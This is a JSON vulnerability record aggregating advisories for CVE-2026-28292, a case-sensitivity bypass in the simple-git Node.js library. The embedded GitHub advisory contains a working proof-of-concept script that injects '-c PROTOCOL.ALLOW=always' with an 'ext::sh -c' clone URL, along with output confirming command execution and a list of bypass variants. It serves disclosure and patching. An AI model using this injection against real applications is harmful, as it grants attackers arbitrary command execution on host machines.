{"id":"CVE-2026-28292","aliases":["DHI-pohs-rqeq-d6wa-ealp","GHSA-r275-fr43-pm7q","openSUSE-SU-2026:10327-1"],"summary":"simple-git has blockUnsafeOperationsPlugin bypass via case-insensitive protocol.allow config key that enables RCE","published_at":"2026-03-10T18:34:21.717Z","modified_at":"2026-11-17T09:45:07.940124Z","products":[],"rating":{"severity":"critical","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","attack_path":"internet_unauthenticated","user_interaction":false,"malicious":false,"red_hat":"Important","vendor_ratings":[{"source":"SUSE","rating":"critical"},{"source":"SUSE","rating":"moderate"},{"source":"Red Hat","rating":"Important"}]},"fix_available":false,"kev":{"listed":false,"ransomware":false},"public_exploit":false,"exploits":[],"epss":{"score":0.014410000294446945,"percentile":0.7377300262451172,"date":"2026-11-19T00:00:00Z"},"priority":11.8,"details":"`simple-git`, an interface for running git commands in any node.js application, has an issue in versions 3.15.0 through 3.32.2 that allows an attacker to bypass two prior CVE fixes (CVE-2022-25860 and CVE-2022-25912) and achieve full remote code execution on the host machine. Version 3.23.0 contains an updated fix for the vulnerability.","affected_stack":[],"affected_other":[{"ecosystem":"CVE","package":"steveukx/simple-git","versions":[">= 3.15.0, < 3.32.3"],"provider":"cvelistv5","source":"CVE-2026-28292","relation":"self"},{"ecosystem":"Docker Hardened Images:Debian:13","package":"superset","purl":"pkg:deb/dhi/superset","versions":["6.1.0-0","6.1.0-1","6.1.0-10","6.1.0-11","6.1.0-12","6.1.0-13","6.1.0-14","6.1.0-15","6.1.0-16","6.1.0-17","6.1.0-18","6.1.0-19","6.1.0-2","6.1.0-20","6.1.0-21","6.1.0-22","6.1.0-23","6.1.0-24","6.1.0-25","6.1.0-26","6.1.0-27","6.1.0-28","6.1.0-29","6.1.0-3","6.1.0-30","6.1.0-31","6.1.0-32","6.1.0-33","6.1.0-34","6.1.0-35","6.1.0-36","6.1.0-37","6.1.0-38","6.1.0-39","6.1.0-4","6.1.0-40","6.1.0-5","6.1.0-6","6.1.0-7","6.1.0-8","6.1.0-9"],"provider":"osv","source":"DHI-pohs-rqeq-d6wa-ealp","relation":"self"},{"ecosystem":"NVD","package":"simple-git_project:simple-git","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.15.0"},{"fixed":"3.32.2"}]}],"fixed":["3.32.2"],"provider":"nvd","source":"CVE-2026-28292","relation":"self"},{"ecosystem":"npm","package":"simple-git","purl":"pkg:npm/simple-git","ranges":[{"type":"SEMVER","events":[{"introduced":"3.15.0"},{"fixed":"3.32.3"}]}],"fixed":["3.32.3"],"provider":"osv","source":"GHSA-r275-fr43-pm7q","relation":"self"},{"ecosystem":"openSUSE:Tumbleweed","package":"heroic-games-launcher","purl":"pkg:rpm/opensuse/heroic-games-launcher&distro=openSUSE%20Tumbleweed","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.20.1-3.1"}]}],"fixed":["2.20.1-3.1"],"provider":"osv","source":"openSUSE-SU-2026:10327-1","relation":"self"}],"product_status":[{"vendor":"SUSE","product":"openSUSE Tumbleweed","cpe":"cpe:/o:opensuse:tumbleweed","status":"fixed","packages":["heroic-games-launcher"],"package_count":1,"fixed":["heroic-games-launcher-2.20.1-3.1"],"advisories":[],"provider":"csaf-suse","source":"CVE-2026-28292"},{"vendor":"Red Hat","product":"Logging Subsystem for Red Hat OpenShift","cpe":"cpe:/a:redhat:logging:5","status":"affected","packages":["openshift-logging/elasticsearch-operator-bundle","openshift-logging/elasticsearch-proxy-rhel9","openshift-logging/elasticsearch-rhel9-operator","openshift-logging/elasticsearch6-rhel9","openshift-logging/kibana6-rhel8","openshift-logging/logging-curator5-rhel9"],"package_count":6,"fixed":[],"advisories":[],"note":"Will not fix","provider":"redhat-vex","source":"CVE-2026-28292"},{"vendor":"Red Hat","product":"Red Hat Enterprise Linux 8","cpe":"cpe:/a:redhat:enterprise_linux:8","status":"not_affected","packages":["grafana","grafana-azure-monitor","grafana-cloudwatch","grafana-elasticsearch","grafana-graphite","grafana-influxdb","grafana-loki","grafana-mssql","grafana-mysql","grafana-opentsdb","grafana-postgres","grafana-prometheus","grafana-selinux","grafana-stackdriver"],"package_count":14,"fixed":[],"advisories":[],"note":"vulnerable_code_not_in_execute_path","provider":"redhat-vex","source":"CVE-2026-28292"},{"vendor":"Red Hat","product":"Red Hat Enterprise Linux 9","cpe":"cpe:/a:redhat:enterprise_linux:9","status":"not_affected","packages":["grafana","grafana-selinux"],"package_count":2,"fixed":[],"advisories":[],"note":"vulnerable_code_not_in_execute_path","provider":"redhat-vex","source":"CVE-2026-28292"},{"vendor":"Red Hat","product":"Red Hat JBoss Enterprise Application Platform 8","cpe":"cpe:/a:redhat:jboss_enterprise_application_platform:8","status":"not_affected","packages":["org.keycloak-keycloak-parent"],"package_count":1,"fixed":[],"advisories":[],"note":"component_not_present","provider":"redhat-vex","source":"CVE-2026-28292"},{"vendor":"Red Hat","product":"Red Hat JBoss Enterprise Application Platform Expansion Pack","cpe":"cpe:/a:redhat:jbosseapxp","status":"not_affected","packages":["org.keycloak-keycloak-parent"],"package_count":1,"fixed":[],"advisories":[],"note":"component_not_present","provider":"redhat-vex","source":"CVE-2026-28292"},{"vendor":"Red Hat","product":"Red Hat Process Automation 7","cpe":"cpe:/a:redhat:jboss_bpms:7","status":"not_affected","packages":["org.kie-process-migration-service"],"package_count":1,"fixed":[],"advisories":[],"note":"component_not_present","provider":"redhat-vex","source":"CVE-2026-28292"}],"records":[{"provider":"cvelistv5","source_id":"CVE-2026-28292","relation":"self","url":"https://www.cve.org/CVERecord?id=CVE-2026-28292","license":"CC-BY-4.0","published_at":"2026-03-10T18:34:21.717Z","modified_at":"2026-07-15T01:11:54.119Z","summary":"simple-git has blockUnsafeOperationsPlugin bypass via case-insensitive protocol.allow config key that enables RCE","details":"`simple-git`, an interface for running git commands in any node.js application, has an issue in versions 3.15.0 through 3.32.2 that allows an attacker to bypass two prior CVE fixes (CVE-2022-25860 and CVE-2022-25912) and achieve full remote code execution on the host machine. Version 3.23.0 contains an updated fix for the vulnerability.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"CVE-2026-28292"},{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","source":"redhat-SADP:CVE-2026-28292"}],"affected":[{"ecosystem":"CVE","package":"steveukx/simple-git","versions":[">= 3.15.0, < 3.32.3"],"provider":"cvelistv5","source":"CVE-2026-28292","relation":"self"}],"product_status":[],"references":[{"type":"WEB","url":"https://github.com/steveukx/git-js/security/advisories/GHSA-r275-fr43-pm7q"},{"type":"WEB","url":"https://github.com/steveukx/git-js/commit/f7042088aa2dac59e3c49a84d7a2f4b26048a257"},{"type":"WEB","url":"https://www.codeant.ai/security-research/security-research-simple-git-remote-code-execution-cve-2026-28292"}]},{"provider":"csaf-suse","source_id":"CVE-2026-28292","relation":"self","url":"https://www.suse.com/security/cve/CVE-2026-28292/","license":"TLP:CLEAR, mirroring permitted","published_at":"2026-03-11T16:15:21Z","modified_at":"2026-03-15T00:24:02Z","summary":"SUSE CVE CVE-2026-28292","details":"SUSE CVE-2026-28292\n\n`simple-git`, an interface for running git commands in any node.js application, has an issue in versions 3.15.0 through 3.32.2 that allows an attacker to bypass two prior CVE fixes (CVE-2022-25860 and CVE-2022-25912) and achieve full remote code execution on the host machine. Version 3.23.0 contains an updated fix for the vulnerability.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"CVE-2026-28292"},{"type":"SUSE","score":"critical","source":"CVE-2026-28292"}],"affected":[],"product_status":[{"vendor":"SUSE","product":"openSUSE Tumbleweed","cpe":"cpe:/o:opensuse:tumbleweed","status":"fixed","packages":["heroic-games-launcher"],"package_count":1,"fixed":["heroic-games-launcher-2.20.1-3.1"],"advisories":[],"provider":"csaf-suse","source":"CVE-2026-28292"}],"references":[{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-28292"},{"type":"WEB","url":"https://www.suse.com/support/security/rating/"},{"type":"WEB","url":"https://bugzilla.suse.com/1259491"}]},{"provider":"csaf-suse","source_id":"openSUSE-SU-2026:10327-1","relation":"self","url":"https://www.suse.com/security/cve/CVE-2026-28292/","license":"TLP:CLEAR, mirroring permitted","published_at":"2026-03-13T00:00:00Z","modified_at":"2026-03-13T00:00:00Z","summary":"heroic-games-launcher-2.20.1-3.1 on GA media","details":"heroic-games-launcher-2.20.1-3.1 on GA media\n\nThese are all security issues fixed in the heroic-games-launcher-2.20.1-3.1 package on the GA media of openSUSE Tumbleweed.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"openSUSE-SU-2026:10327-1"},{"type":"SUSE","score":"moderate","source":"openSUSE-SU-2026:10327-1"}],"affected":[],"product_status":[],"references":[{"type":"WEB","url":"https://www.suse.com/support/security/rating/"},{"type":"WEB","url":"https://ftp.suse.com/pub/projects/security/csaf/2026/opensuse-su-2026_10327-1.json"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-28292/"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-28292"},{"type":"WEB","url":"https://bugzilla.suse.com/1259491"}]},{"provider":"nvd","source_id":"CVE-2026-28292","relation":"self","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28292","severity":[],"affected":[{"ecosystem":"NVD","package":"simple-git_project:simple-git","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.15.0"},{"fixed":"3.32.2"}]}],"fixed":["3.32.2"],"provider":"nvd","source":"CVE-2026-28292","relation":"self"}],"product_status":[],"references":[]},{"provider":"osv","source_id":"DHI-pohs-rqeq-d6wa-ealp","relation":"self","url":"https://osv.dev/vulnerability/DHI-pohs-rqeq-d6wa-ealp","license":"Apache-2.0","published_at":"2026-11-14T00:42:04Z","modified_at":"2026-11-17T09:45:07.940124Z","summary":"`simple-git`, an interface for running git commands in any node.js application, has an issue in versions 3.15.0 through…","details":"`simple-git`, an interface for running git commands in any node.js application, has an issue in versions 3.15.0 through 3.32.2 that allows an attacker to bypass two prior CVE fixes (CVE-2022-25860 and CVE-2022-25912) and achieve full remote code execution on the host machine. Version 3.23.0 contains an updated fix for the vulnerability.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"DHI-pohs-rqeq-d6wa-ealp"}],"affected":[{"ecosystem":"Docker Hardened Images:Debian:13","package":"superset","purl":"pkg:deb/dhi/superset","versions":["6.1.0-0","6.1.0-1","6.1.0-10","6.1.0-11","6.1.0-12","6.1.0-13","6.1.0-14","6.1.0-15","6.1.0-16","6.1.0-17","6.1.0-18","6.1.0-19","6.1.0-2","6.1.0-20","6.1.0-21","6.1.0-22","6.1.0-23","6.1.0-24","6.1.0-25","6.1.0-26","6.1.0-27","6.1.0-28","6.1.0-29","6.1.0-3","6.1.0-30","6.1.0-31","6.1.0-32","6.1.0-33","6.1.0-34","6.1.0-35","6.1.0-36","6.1.0-37","6.1.0-38","6.1.0-39","6.1.0-4","6.1.0-40","6.1.0-5","6.1.0-6","6.1.0-7","6.1.0-8","6.1.0-9"],"provider":"osv","source":"DHI-pohs-rqeq-d6wa-ealp","relation":"self"}],"product_status":[],"references":[{"type":"ADVISORY","url":"https://scout.docker.com/v/DHI-pohs-rqeq-d6wa-ealp"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28292"},{"type":"ADVISORY","url":"https://www.codeant.ai/security-research/security-research-simple-git-remote-code-execution-cve-2026-28292"},{"type":"FIX","url":"https://github.com/steveukx/git-js/commit/f7042088aa2dac59e3c49a84d7a2f4b26048a257"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-r275-fr43-pm7q"},{"type":"ADVISORY","url":"https://github.com/steveukx/git-js/security/advisories/GHSA-r275-fr43-pm7q"}]},{"provider":"osv","source_id":"GHSA-r275-fr43-pm7q","relation":"self","url":"https://osv.dev/vulnerability/GHSA-r275-fr43-pm7q","license":"CC-BY-4.0","published_at":"2026-03-10T18:38:56Z","modified_at":"2026-09-10T03:50:40.612526Z","summary":"simple-git has blockUnsafeOperationsPlugin bypass via case-insensitive protocol.allow config key enables RCE","details":"### Summary\n\nThe `blockUnsafeOperationsPlugin` in `simple-git` fails to block git protocol\noverride arguments when the config key is passed in uppercase or mixed case.\nAn attacker who controls arguments passed to git operations can enable the\n`ext::` protocol by passing `-c PROTOCOL.ALLOW=always`, which executes an\narbitrary OS command on the host machine.\n\n---\n\n### Details\n\nThe `preventProtocolOverride` function in\n`simple-git/src/lib/plugins/block-unsafe-operations-plugin.ts` (line 24)\nchecks whether a `-c` argument configures `protocol.allow` using this regex:\n\n```ts\nif (!/^\\s*protocol(.[a-z]+)?.allow/.test(next)) {\n   return;\n}\n```\n\nThis regex is case-sensitive. Git treats config key names\ncase-insensitively — it normalises them to lowercase internally.\nAs a result, passing `PROTOCOL.ALLOW=always`, `Protocol.Allow=always`,\nor any mixed-case variant is not matched by the regex, the check\nreturns without throwing, and git is spawned with the unsafe argument.\n\n**Verification that git normalises the key:**\n\n```bash\n$ git -c PROTOCOL.ALLOW=always config --list | grep protocol\nprotocol.allow=always\n```\n\n**The fix is a single character — add the `/i` flag:**\n\n```ts\n// Before (vulnerable):\nif (!/^\\s*protocol(.[a-z]+)?.allow/.test(next)) {\n\n// After (fixed):\nif (!/^\\s*protocol(.[a-z]+)?.allow/i.test(next)) {\n```\n\n---\n\n## poc.js\n\n```js\n/**\n * Proof of Concept — simple-git preventProtocolOverride Case-Sensitivity Bypass\n *\n * CVE-2022-25912 was fixed in simple-git@3.15.0 by adding a regex check\n * that blocks `-c protocol.*.allow=always` from being passed to git commands.\n * The regex is case-sensitive. Git treats config key names case-insensitively.\n * Passing `-c PROTOCOL.ALLOW=always` bypasses the check entirely.\n *\n * Affected : simple-git >= 3.15.0 (all versions with the fix applied)\n * Tested on: simple-git@3.32.2, Node.js v23.11.0, git 2.39.5\n * Reporter : CodeAnt AI Security Research (securityreseach@codeant.ai)\n */\n\nconst simpleGit = require('simple-git');\nconst fs = require('fs');\n\nconst SENTINEL = '/tmp/pwn-codeant';\n\n// Clean up from any previous run\ntry { fs.unlinkSync(SENTINEL); } catch (_) {}\n\nconst git = simpleGit();\n\n// ── Original CVE-2022-25912 vector — BLOCKED by the 2022 fix ────────────────\n// This is the exact PoC Snyk used to report CVE-2022-25912.\n// It is correctly blocked by preventProtocolOverride in block-unsafe-operations-plugin.ts.\ngit.clone('ext::sh -c touch% /tmp/pwn-original% >&2', '/tmp/example-new-repo', [\n  '-c', 'protocol.ext.allow=always',   // lowercase — caught by regex\n]).catch((e) => {\n  console.log('ext:: executed:poc', fs.existsSync(SENTINEL) ? 'PWNED — ' + SENTINEL + ' created' : 'not created');\n  console.error(e);\n});\n\n// ── Bypass — PROTOCOL.ALLOW=always (uppercase) ──────────────────────────────\n// The fix regex /^\\s*protocol(.[a-z]+)?.allow/ is case-sensitive.\n// Git normalises config key names to lowercase internally.\n// Uppercase variant passes the check; git enables ext:: and executes the command.\ngit.clone('ext::sh -c touch% ' + SENTINEL + '% >&2', '/tmp/example-new-repo-2', [\n  '-c', 'PROTOCOL.ALLOW=always',       // uppercase — NOT caught by regex\n]).catch((e) => {\n  console.log('ext:: executed:', fs.existsSync(SENTINEL) ? 'PWNED — ' + SENTINEL + ' created' : 'not created');\n  console.error(e);\n});\n\n// ── Real-world scenario ──────────────────────────────────────────────────────\n// An application cloning a legitimate repository with user-controlled customArgs.\n// Attacker supplies PROTOCOL.ALLOW=always alongside a malicious ext:: URL.\n// The application intends to clone https://github.com/CodeAnt-AI/codeant-quality-gates\n// but the injected argument enables ext:: and the real URL executes the command instead.\n//\n// Legitimate usage (what the app expects):\n//   simpleGit().clone('https://github.com/CodeAnt-AI/codeant-quality-gates',\n//                     '/tmp/codeant-quality-gates', userArgs)\n//\n// Attacker-controlled scenario (what actually runs when args are not sanitised):\nconst LEGITIMATE_URL = 'https://github.com/CodeAnt-AI/codeant-quality-gates';\nconst CLONE_DEST     = '/tmp/codeant-quality-gates';\nconst SENTINEL_RW    = '/tmp/pwn-realworld';\ntry { fs.unlinkSync(SENTINEL_RW); } catch (_) {}\n\nconst userArgs   = ['-c', 'PROTOCOL.ALLOW=always'];\nconst attackerURL = 'ext::sh -c touch% ' + SENTINEL_RW + '% >&2';\n\nsimpleGit().clone(\n  attackerURL,   // should have been LEGITIMATE_URL\n  CLONE_DEST,\n  userArgs\n).catch(() => {\n  console.log('real-world scenario [target: ' + LEGITIMATE_URL + ']:',\n    fs.existsSync(SENTINEL_RW) ? 'PWNED — ' + SENTINEL_RW + ' created' : 'not created');\n});\n```\n\n---\n\n## Test Results\n\n### Vector 1 — Original CVE-2022-25912 (`protocol.ext.allow=always`, lowercase)\n\n**Result: BLOCKED ✅**\n\nThe original Snyk PoC payload using lowercase `protocol.ext.allow=always` is correctly intercepted by `preventProtocolOverride` before git is invoked. A `GitPluginError` is thrown immediately and the sentinel file is never created.\n\n**Output:**\n```\next:: executed:poc not created\nGitPluginError: Configuring protocol.allow is not permitted without enabling allowUnsafeExtProtocol\n    at preventProtocolOverride (.../simple-git/dist/cjs/index.js:1228:9)\n    at .../simple-git/dist/cjs/index.js:1266:40\n    at Array.forEach (<anonymous>)\n    at Object.action (.../simple-git/dist/cjs/index.js:1264:12)\n    at PluginStore.exec (.../simple-git/dist/cjs/index.js:1489:29)\n    at GitExecutorChain.attemptRemoteTask (.../simple-git/dist/cjs/index.js:1881:36)\n    at GitExecutorChain.attemptTask (.../simple-git/dist/cjs/index.js:1865:88) {\n  task: {\n    commands: [\n      'clone',\n      '-c',\n      'protocol.ext.allow=always',\n      'ext::sh -c touch% /tmp/pwn-original% >&2',\n      '/tmp/example-new-repo'\n    ],\n    format: 'utf-8',\n    parser: [Function: parser]\n  },\n  plugin: 'unsafe'\n}\n```\n\n---\n\n### Vector 2 — Uppercase bypass (`PROTOCOL.ALLOW=always`)\n\n**Result: BYPASSED ⚠️ — RCE confirmed**\n\nThe `preventProtocolOverride` regex `/^\\s*protocol(.[a-z]+)?.allow/` is case-sensitive. `PROTOCOL.ALLOW=always` (uppercase) passes the check without error. Git normalises config key names to lowercase internally, enabling the `ext::` protocol. The injected shell command executes before git errors on the missing repository stream.\n\n**Output:**\n```\next:: executed: PWNED — /tmp/pwn-codeant created\nGitError: Cloning into '/tmp/example-new-repo-2'...\nfatal: Could not read from remote repository.\n\nPlease make sure you have the correct access rights\nand the repository exists.\n\n    at Object.action (.../simple-git/dist/cjs/index.js:1440:25)\n    at PluginStore.exec (.../simple-git/dist/cjs/index.js:1489:29) {\n  task: {\n    commands: [\n      'clone',\n      '-c',\n      'PROTOCOL.ALLOW=always',\n      'ext::sh -c touch% /tmp/pwn-codeant% >&2',\n      '/tmp/example-new-repo-2'\n    ],\n    format: 'utf-8',\n    parser: [Function: parser]\n  }\n}\n```\n\n`/tmp/pwn-codeant` was created by the git subprocess — command execution confirmed.\n\n---\n\n### Vector 3 — Real-world scenario (target: `https://github.com/CodeAnt-AI/codeant-quality-gates`)\n\n**Result: BYPASSED ⚠️ — RCE confirmed**\n\nAn application passes user-controlled `customArgs` to `simpleGit().clone()`. The attacker injects `PROTOCOL.ALLOW=always` and substitutes a malicious `ext::` URL in place of the intended repository URL. The plugin does not block the uppercase variant; git enables `ext::` and executes the payload before the application can detect the failure.\n\n**Output:**\n```\nreal-world scenario [target: https://github.com/CodeAnt-AI/codeant-quality-gates]: PWNED — /tmp/pwn-realworld created\n```\n\n`/tmp/pwn-realworld` was created — arbitrary command execution in a realistic application context confirmed.\n\n---\n\n## Summary\n\n| # | Vector | Payload | Sentinel file | Result |\n|---|--------|---------|---------------|--------|\n| 1 | CVE-2022-25912 original | `protocol.ext.allow=always` (lowercase) | not created | Blocked ✅ |\n| 2 | Case-sensitivity bypass | `PROTOCOL.ALLOW=always` (uppercase) | `/tmp/pwn-codeant` created | **RCE ⚠️** |\n| 3 | Real-world app scenario | `PROTOCOL.ALLOW=always` + attacker URL | `/tmp/pwn-realworld` created | **RCE ⚠️** |\n\nThe case-sensitive regex in `preventProtocolOverride` blocks `protocol.*.allow` but does not account for uppercase or mixed-case variants. Git accepts all variants identically due to case-insensitive config key normalisation, allowing full bypass of the protection in all versions of simple-git that carry the 2022 fix.\n\n`/tmp/pwned` is created by the git subprocess via the `ext::` protocol.\n\nAll of the following bypass the check:\n\n| Argument passed via `-c` | Regex matches? | Git honours it? |\n|--------------------------|:--------------:|:---------------:|\n| `protocol.allow=always`  | ✅ blocked     | ✅              |\n| `PROTOCOL.ALLOW=always`  | ❌ bypassed    | ✅              |\n| `Protocol.Allow=always`  | ❌ bypassed    | ✅              |\n| `PROTOCOL.allow=always`  | ❌ bypassed    | ✅              |\n| `protocol.ALLOW=always`  | ❌ bypassed    | ✅              |\n\n---\n\n### Impact\n\nAny application that passes user-controlled values into the `customArgs`\nparameter of `clone()`, `fetch()`, `pull()`, `push()` or similar `simple-git`\nmethods is vulnerable to arbitrary command execution on the host machine.\n\nThe `ext::` git protocol executes an arbitrary binary as a remote helper.\nWith `protocol.allow=always` enabled, an attacker can run any OS command\nas the process user — full read, write and execution access on the host.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"GHSA-r275-fr43-pm7q"}],"affected":[{"ecosystem":"npm","package":"simple-git","purl":"pkg:npm/simple-git","ranges":[{"type":"SEMVER","events":[{"introduced":"3.15.0"},{"fixed":"3.32.3"}]}],"fixed":["3.32.3"],"provider":"osv","source":"GHSA-r275-fr43-pm7q","relation":"self"}],"product_status":[],"references":[{"type":"WEB","url":"https://github.com/steveukx/git-js/security/advisories/GHSA-r275-fr43-pm7q"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28292"},{"type":"WEB","url":"https://github.com/steveukx/git-js/commit/f7042088aa2dac59e3c49a84d7a2f4b26048a257"},{"type":"PACKAGE","url":"https://github.com/steveukx/git-js"},{"type":"WEB","url":"https://www.codeant.ai/security-research/security-research-simple-git-remote-code-execution-cve-2026-28292"},{"type":"WEB","url":"https://www.codeant.ai/security-research/simple-git-remote-code-execution-cve-2026-28292"}]},{"provider":"osv","source_id":"openSUSE-SU-2026:10327-1","relation":"self","url":"https://osv.dev/vulnerability/openSUSE-SU-2026:10327-1","published_at":"2026-03-13T00:00:00Z","modified_at":"2026-03-14T08:18:00.870379Z","summary":"heroic-games-launcher-2.20.1-3.1 on GA media","details":"These are all security issues fixed in the heroic-games-launcher-2.20.1-3.1 package on the GA media of openSUSE Tumbleweed.","severity":[],"affected":[{"ecosystem":"openSUSE:Tumbleweed","package":"heroic-games-launcher","purl":"pkg:rpm/opensuse/heroic-games-launcher&distro=openSUSE%20Tumbleweed","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.20.1-3.1"}]}],"fixed":["2.20.1-3.1"],"provider":"osv","source":"openSUSE-SU-2026:10327-1","relation":"self"}],"product_status":[],"references":[{"type":"ADVISORY","url":""},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-28292"}]},{"provider":"redhat-vex","source_id":"CVE-2026-28292","relation":"self","url":"https://access.redhat.com/security/cve/CVE-2026-28292","license":"CC-BY-4.0","published_at":"2026-03-10T18:34:21.717Z","modified_at":"2026-03-11T17:46:59Z","summary":"simple-git: simple-git: Remote Code Execution via bypass of prior security fixes","details":"A vulnerability was discovered in the simple-git Node.js library. The issue is caused by improper validation of user-supplied input when constructing Git commands. An attacker able to supply specially crafted repository URLs or arguments could exploit Git’s ext:: protocol handler to execute arbitrary commands on the underlying system.\nThis flaw bypasses earlier mitigations intended to restrict unsafe Git protocols. By injecting configuration options that re-enable the ext:: protocol, an attacker could cause the application to execute arbitrary external commands through the Git client.\nIf a vulnerable application passes untrusted input to simple-git operations such as repository cloning or fetching, a remote attacker could exploit this flaw to execute arbitrary commands on the host system with the privileges of the application process.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","source":"CVE-2026-28292"},{"type":"Red Hat","score":"Important","source":"CVE-2026-28292"}],"affected":[],"product_status":[{"vendor":"Red Hat","product":"Logging Subsystem for Red Hat OpenShift","cpe":"cpe:/a:redhat:logging:5","status":"affected","packages":["openshift-logging/elasticsearch-operator-bundle","openshift-logging/elasticsearch-proxy-rhel9","openshift-logging/elasticsearch-rhel9-operator","openshift-logging/elasticsearch6-rhel9","openshift-logging/kibana6-rhel8","openshift-logging/logging-curator5-rhel9"],"package_count":6,"fixed":[],"advisories":[],"note":"Will not fix","provider":"redhat-vex","source":"CVE-2026-28292"},{"vendor":"Red Hat","product":"Red Hat Enterprise Linux 8","cpe":"cpe:/a:redhat:enterprise_linux:8","status":"not_affected","packages":["grafana","grafana-azure-monitor","grafana-cloudwatch","grafana-elasticsearch","grafana-graphite","grafana-influxdb","grafana-loki","grafana-mssql","grafana-mysql","grafana-opentsdb","grafana-postgres","grafana-prometheus","grafana-selinux","grafana-stackdriver"],"package_count":14,"fixed":[],"advisories":[],"note":"vulnerable_code_not_in_execute_path","provider":"redhat-vex","source":"CVE-2026-28292"},{"vendor":"Red Hat","product":"Red Hat Enterprise Linux 9","cpe":"cpe:/a:redhat:enterprise_linux:9","status":"not_affected","packages":["grafana","grafana-selinux"],"package_count":2,"fixed":[],"advisories":[],"note":"vulnerable_code_not_in_execute_path","provider":"redhat-vex","source":"CVE-2026-28292"},{"vendor":"Red Hat","product":"Red Hat JBoss Enterprise Application Platform 8","cpe":"cpe:/a:redhat:jboss_enterprise_application_platform:8","status":"not_affected","packages":["org.keycloak-keycloak-parent"],"package_count":1,"fixed":[],"advisories":[],"note":"component_not_present","provider":"redhat-vex","source":"CVE-2026-28292"},{"vendor":"Red Hat","product":"Red Hat JBoss Enterprise Application Platform Expansion Pack","cpe":"cpe:/a:redhat:jbosseapxp","status":"not_affected","packages":["org.keycloak-keycloak-parent"],"package_count":1,"fixed":[],"advisories":[],"note":"component_not_present","provider":"redhat-vex","source":"CVE-2026-28292"},{"vendor":"Red Hat","product":"Red Hat Process Automation 7","cpe":"cpe:/a:redhat:jboss_bpms:7","status":"not_affected","packages":["org.kie-process-migration-service"],"package_count":1,"fixed":[],"advisories":[],"note":"component_not_present","provider":"redhat-vex","source":"CVE-2026-28292"}],"references":[{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-28292.json"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-28292"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2446162"},{"type":"WEB","url":"https://www.cve.org/CVERecord?id=CVE-2026-28292"},{"type":"WEB","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28292"},{"type":"WEB","url":"https://github.com/steveukx/git-js/commit/f7042088aa2dac59e3c49a84d7a2f4b26048a257"},{"type":"WEB","url":"https://www.codeant.ai/security-research/security-research-simple-git-remote-code-execution-cve-2026-28292"}]}],"references":[{"type":"WEB","url":"https://github.com/steveukx/git-js/security/advisories/GHSA-r275-fr43-pm7q"},{"type":"WEB","url":"https://github.com/steveukx/git-js/commit/f7042088aa2dac59e3c49a84d7a2f4b26048a257"},{"type":"WEB","url":"https://www.codeant.ai/security-research/security-research-simple-git-remote-code-execution-cve-2026-28292"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-28292"},{"type":"WEB","url":"https://www.suse.com/support/security/rating/"},{"type":"WEB","url":"https://bugzilla.suse.com/1259491"},{"type":"WEB","url":"https://ftp.suse.com/pub/projects/security/csaf/2026/opensuse-su-2026_10327-1.json"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-28292/"},{"type":"ADVISORY","url":"https://scout.docker.com/v/DHI-pohs-rqeq-d6wa-ealp"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28292"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-r275-fr43-pm7q"},{"type":"PACKAGE","url":"https://github.com/steveukx/git-js"},{"type":"WEB","url":"https://www.codeant.ai/security-research/simple-git-remote-code-execution-cve-2026-28292"},{"type":"ADVISORY","url":""},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-28292.json"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-28292"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2446162"},{"type":"WEB","url":"https://www.cve.org/CVERecord?id=CVE-2026-28292"}],"sources":[{"provider":"cvelistv5","source_id":"CVE-2026-28292","url":"https://www.cve.org/CVERecord?id=CVE-2026-28292","license":"CC-BY-4.0","modified_at":"2026-07-15T01:11:54.119Z","relation":"self"},{"provider":"csaf-suse","source_id":"CVE-2026-28292","url":"https://www.suse.com/security/cve/CVE-2026-28292/","license":"TLP:CLEAR, mirroring permitted","modified_at":"2026-03-15T00:24:02Z","relation":"self"},{"provider":"csaf-suse","source_id":"openSUSE-SU-2026:10327-1","url":"https://www.suse.com/security/cve/CVE-2026-28292/","license":"TLP:CLEAR, mirroring 